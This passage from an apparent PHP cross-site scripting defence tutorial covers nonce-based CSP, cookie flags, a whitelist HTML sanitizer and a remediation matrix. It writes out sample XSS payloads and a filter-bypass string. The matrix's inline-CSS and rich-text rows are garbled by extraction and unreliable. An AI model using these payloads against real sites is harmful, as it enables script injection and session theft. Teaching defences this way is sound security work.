<span class="token keyword">return</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">random_bytes</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span></span>
Module 6: Defense-in-Depth: Content Security Policy (CSP) & Cookie Hardening
Even with disciplined encoding, a single missed variable in a large codebase can create an opening.
Defense-in-depth ensures that even if an attacker manages to inject a script tag, the browser refuses to execute it.
6.1 Content Security Policy Level 3 with Cryptographic Nonces
Content Security Policy (CSP) is an HTTP response header that restricts where scripts, styles, images, and frames can be loaded from.
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// Generate a unique cryptographic nonce per HTTP request</span>
<span class="token variable">$cspNonce</span> <span class="token operator">=</span> <span class="token function">base64_encode</span><span class="token punctuation">(</span><span class="token function">random_bytes</span><span class="token punctuation">(</span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Construct strict CSP Level 3 policy</span>
<span class="token variable">$cspHeader</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"Content-Security-Policy: "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"default-src 'self'; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"script-src 'self' 'nonce-<span class="token interpolation"><span class="token punctuation">{</span><span class="token variable">$cspNonce</span><span class="token punctuation">}</span></span>' https://cdnjs.cloudflare.com; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"font-src 'self' https://fonts.gstatic.com https://cdnjs.cloudflare.com; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"img-src 'self' data: https:; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"object-src 'none'; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"base-uri 'self'; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"form-action 'self'; "</span>
<span class="token operator">.</span> <span class="token string double-quoted-string">"frame-ancestors 'self';"</span><span class="token punctuation">;</span>
<span class="token function">header</span><span class="token punctuation">(</span><span class="token variable">$cspHeader</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">header</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'X-Content-Type-Options: nosniff'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">header</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'X-Frame-Options: SAMEORIGIN'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token delimiter important">?></span></span>
<span class="token doctype"><span class="token punctuation"><!</span><span class="token doctype-tag">DOCTYPE</span> <span class="token name">html</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>html</span> <span class="token attr-name">lang</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>en<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>head</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>meta</span> <span class="token attr-name">charset</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>UTF-8<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>title</span><span class="token punctuation">></span></span>Secure Application<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>title</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>head</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>body</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- Authorized Script with valid Nonce --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>script</span> <span class="token attr-name">nonce</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span><span class="token php language-php"><span class="token delimiter important"><?=</span> <span class="token variable">$cspNonce</span><span class="token punctuation">;</span> <span class="token delimiter important">?></span></span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token script"><span class="token language-javascript">
console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Authorized application code running safely."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</span></span><span class="token tag"><span class="token tag"><span class="token punctuation"></</span>script</span><span class="token punctuation">></span></span>
<span class="token comment"><!-- INJECTED ATTACKER SCRIPT: BROWSER WILL REJECT EXECUTION! --></span>
<span class="token comment"><!-- <script>alert(1)</script> -> BLOCKED BY CSP DUE TO MISSING NONCE --></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>body</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>html</span><span class="token punctuation">></span></span>
6.2 Hardening PHP Session Cookies
To prevent session hijacking via XSS, configure all PHP session cookies with strict security flags:
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token comment">// Hardening session cookie flags in PHP</span>
<span class="token function">session_set_cookie_params</span><span class="token punctuation">(</span><span class="token punctuation">[</span>
<span class="token string single-quoted-string">'lifetime'</span> <span class="token operator">=></span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token comment">// Session expires when browser closes</span>
<span class="token string single-quoted-string">'path'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'/'</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'domain'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'secure'</span> <span class="token operator">=></span> <span class="token constant boolean">true</span><span class="token punctuation">,</span> <span class="token comment">// Transmit cookie ONLY over HTTPS</span>
<span class="token string single-quoted-string">'httponly'</span> <span class="token operator">=></span> <span class="token constant boolean">true</span><span class="token punctuation">,</span> <span class="token comment">// PREVENTS JAVASCRIPT ACCESS via document.cookie</span>
<span class="token string single-quoted-string">'samesite'</span> <span class="token operator">=></span> <span class="token string single-quoted-string">'Lax'</span> <span class="token comment">// Mitigates CSRF exploitation vectors</span>
<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">session_start</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token delimiter important">?></span></span>
With
httponly => true, any injected JavaScript attempting to execute
document.cookie receives an empty string or will not see the session identifier.
Module 7: Sanitizing Rich-Text (WYSIWYG) HTML Inputs in PHP
When building blogs, forums, or markdown editors where users are legitimately allowed to submit formatting (such as
<b>,
<i>,
<code>,
<blockquote>, and
<img>), standard
htmlspecialchars() cannot be used because it would destroy legitimate formatting.
7.1 The Fatal Mistake: Naive Regex Stripping
<span class="token comment">// FATAL FLAW: Do NOT use regex to sanitize HTML!</span>
<span class="token variable">$sanitized</span> <span class="token operator">=</span> <span class="token function">preg_replace</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/<script\b[^>]*>(.*?)<\/script>/is'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">,</span> <span class="token variable">$dirtyHtml</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
Attackers easily bypass regex tag filters using unclosed tags, SVG vectors, or nested constructs (
<scr<script>ipt>).
7.2 The Secure Solution: Whitelist-Based DOM Parser Sanitization
<span class="token php language-php"><span class="token delimiter important"><?php</span>
<span class="token keyword">declare</span><span class="token punctuation">(</span>strict_types<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">namespace</span> <span class="token package">UnreliableCode<span class="token punctuation">\</span>Security</span><span class="token punctuation">;</span>
<span class="token keyword">final</span> <span class="token keyword">class</span> <span class="token class-name-definition class-name">HtmlSanitizer</span>
<span class="token punctuation">{</span>
<span class="token keyword">private</span> <span class="token keyword">const</span> <span class="token constant">ALLOWED_TAGS</span> <span class="token operator">=</span> <span class="token punctuation">[</span>
<span class="token string single-quoted-string">'p'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'b'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'strong'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'i'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'em'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'u'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'s'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h1'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h2'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h3'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h4'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h5'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'h6'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'ul'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'ol'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'li'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'blockquote'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'code'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'class'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'pre'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'class'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'table'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'class'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'thead'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'tbody'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'tr'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'th'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'align'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'td'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'align'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'a'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'href'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'title'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'target'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'rel'</span><span class="token punctuation">]</span><span class="token punctuation">,</span>
<span class="token string single-quoted-string">'img'</span> <span class="token operator">=></span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'src'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'alt'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'title'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'width'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'height'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'loading'</span><span class="token punctuation">]</span>
<span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token keyword">public</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">clean</span><span class="token punctuation">(</span><span class="token keyword type-hint">string</span> <span class="token variable">$html</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">string</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$html</span><span class="token punctuation">)</span> <span class="token operator">===</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">return</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token variable">$dom</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name class-name-fully-qualified"><span class="token punctuation">\</span>DOMDocument</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'1.0'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'UTF-8'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">libxml_use_internal_errors</span><span class="token punctuation">(</span><span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Load with UTF-8 encoding wrapper</span>
<span class="token variable">$dom</span><span class="token operator">-></span><span class="token function">loadHTML</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'<?xml encoding="utf-8"?><body>'</span> <span class="token operator">.</span> <span class="token variable">$html</span> <span class="token operator">.</span> <span class="token string single-quoted-string">'</body>'</span><span class="token punctuation">,</span> <span class="token class-name">LIBXML_HTML_NOIMPLIED</span> <span class="token operator">|</span> <span class="token class-name">LIBXML_HTML_NODEFDTD</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">libxml_clear_errors</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token function">sanitizeNode</span><span class="token punctuation">(</span><span class="token variable">$dom</span><span class="token operator">-></span><span class="token property">documentElement</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$body</span> <span class="token operator">=</span> <span class="token variable">$dom</span><span class="token operator">-></span><span class="token function">getElementsByTagName</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'body'</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">item</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token variable">$body</span><span class="token punctuation">)</span> <span class="token keyword">return</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token variable">$cleanHtml</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>
<span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$body</span><span class="token operator">-></span><span class="token property">childNodes</span> <span class="token keyword">as</span> <span class="token variable">$child</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$cleanHtml</span> <span class="token operator">.=</span> <span class="token variable">$dom</span><span class="token operator">-></span><span class="token function">saveHTML</span><span class="token punctuation">(</span><span class="token variable">$child</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span> <span class="token variable">$cleanHtml</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">private</span> <span class="token keyword">static</span> <span class="token keyword">function</span> <span class="token function-definition function">sanitizeNode</span><span class="token punctuation">(</span><span class="token class-name class-name-fully-qualified type-declaration"><span class="token punctuation">\</span>DOMNode</span> <span class="token variable">$node</span><span class="token punctuation">)</span><span class="token punctuation">:</span> <span class="token keyword return-type">void</span>
<span class="token punctuation">{</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token function">hasChildNodes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$children</span> <span class="token operator">=</span> <span class="token function">iterator_to_array</span><span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">childNodes</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$children</span> <span class="token keyword">as</span> <span class="token variable">$child</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token function">sanitizeNode</span><span class="token punctuation">(</span><span class="token variable">$child</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">nodeType</span> <span class="token operator">===</span> <span class="token constant">XML_ELEMENT_NODE</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$tagName</span> <span class="token operator">=</span> <span class="token function">strtolower</span><span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">nodeName</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">// Remove tag if not in allowed list</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">array_key_exists</span><span class="token punctuation">(</span><span class="token variable">$tagName</span><span class="token punctuation">,</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">ALLOWED_TAGS</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$parent</span> <span class="token operator">=</span> <span class="token variable">$node</span><span class="token operator">-></span><span class="token property">parentNode</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$parent</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">firstChild</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$parent</span><span class="token operator">-></span><span class="token function">insertBefore</span><span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">firstChild</span><span class="token punctuation">,</span> <span class="token variable">$node</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token variable">$parent</span><span class="token operator">-></span><span class="token function">removeChild</span><span class="token punctuation">(</span><span class="token variable">$node</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token keyword">return</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Sanitize attributes on allowed tag</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token function">hasAttributes</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$allowedAttrs</span> <span class="token operator">=</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">ALLOWED_TAGS</span><span class="token punctuation">[</span><span class="token variable">$tagName</span><span class="token punctuation">]</span><span class="token punctuation">;</span>
<span class="token variable">$attributes</span> <span class="token operator">=</span> <span class="token function">iterator_to_array</span><span class="token punctuation">(</span><span class="token variable">$node</span><span class="token operator">-></span><span class="token property">attributes</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$attributes</span> <span class="token keyword">as</span> <span class="token variable">$attr</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$attrName</span> <span class="token operator">=</span> <span class="token function">strtolower</span><span class="token punctuation">(</span><span class="token variable">$attr</span><span class="token operator">-></span><span class="token property">name</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$attrName</span><span class="token punctuation">,</span> <span class="token variable">$allowedAttrs</span><span class="token punctuation">,</span> <span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$node</span><span class="token operator">-></span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token variable">$attrName</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">continue</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token comment">// Special protocol check for href and src</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$attrName</span><span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string single-quoted-string">'href'</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">'src'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token constant boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$val</span> <span class="token operator">=</span> <span class="token function">trim</span><span class="token punctuation">(</span><span class="token variable">$attr</span><span class="token operator">-></span><span class="token property">value</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span><span class="token function">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/^(https?:\/\/|\/|mailto:)/i'</span><span class="token punctuation">,</span> <span class="token variable">$val</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token class-name">preg_match</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/(javascript|data|vbscript):/i'</span><span class="token punctuation">,</span> <span class="token variable">$val</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
<span class="token variable">$node</span><span class="token operator">-></span><span class="token function">removeAttribute</span><span class="token punctuation">(</span><span class="token variable">$attrName</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
<span class="token delimiter important">?></span></span>
Module 8: Comprehensive Vulnerability & Remediation Matrix
| Context | Attack Vector Example | Vulnerable PHP Code | Secure Remediated PHP Code |
| :-- | :-- | :-- | :-- |
|
HTML Body |
<script>alert(1)</script> |
<div><!--?= $_GET['u']; ?--></div> |
<div><!--?= SecurityHelper::e($_GET['u']); ?--></div> |
|
HTML Attribute |
" onfocus="alert(1) |
<input value="<?= $val; ?>"> |
<input value="<?= SecurityHelper::e($val); ?>"> |
|
JavaScript Variable |
"; alert(1); // |
const u = "<!--?= e($val); ?-->"; |
const u = <!--?= SecurityHelper::jsonJs($val); ?-->; |
|
Link Destination |
javascript:alert(1) |
<a href="<?= e($url); ?>">Link</a> |
<a href="<?= SecurityHelper::safeUrl($url); ?>">Link</a> |
|
Inline CSS Color |
red; background: url(...) |
<span style="color: <?= $c; ?>"="" |=""
<span="" **rich="" wysiwyg="" text**=""||` |
|
Session Cookies |
document.cookie theft |
session_start(); |
session_set_cookie_params(['httponly'=>true,'secure'=>true]); |
|
Unsigned Scripts | Malicious inline script | No CSP Header |
header("Content-Security-Policy: script-src 'nonce-...';"); |
Conclusion & Security Architecture Checklist
Securing modern web applications against Cross-Site Scripting requires transitioning from reactive blocklists to a
principled, context-aware encoding and defense-in-depth model:
1.
Contextual Encoding Is King: Always encode output at the point of rendering using the exact rule for that context (HTML body, attribute, JS variable, URL, or CSS).
2.
Double-Quote All Attributes: Never render unquoted HTML attributes.
3.
Use json_encode for JavaScript: Never use
htmlspecialchars() inside
<script> blocks; always use
json_encode() with
JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT.
4.
Whitelist URL Protocols: Always verify that URLs begin with
http://,
https://, or
/ before rendering them into
href or
src attributes.
5.
Enforce Strict Content Security Policy (CSP): Deploy a nonce-based CSP (
script-src 'nonce-...') to block any unvetted inline scripts.
6.
Set HttpOnly on All Session Cookies: Prevent JavaScript from ever accessing sensitive authorization tokens.
Apply these defenses across your codebase to build an impenetrable defense against XSS attacks.
Authored by the UnreliableCode Application Security Team for unreliablecode.net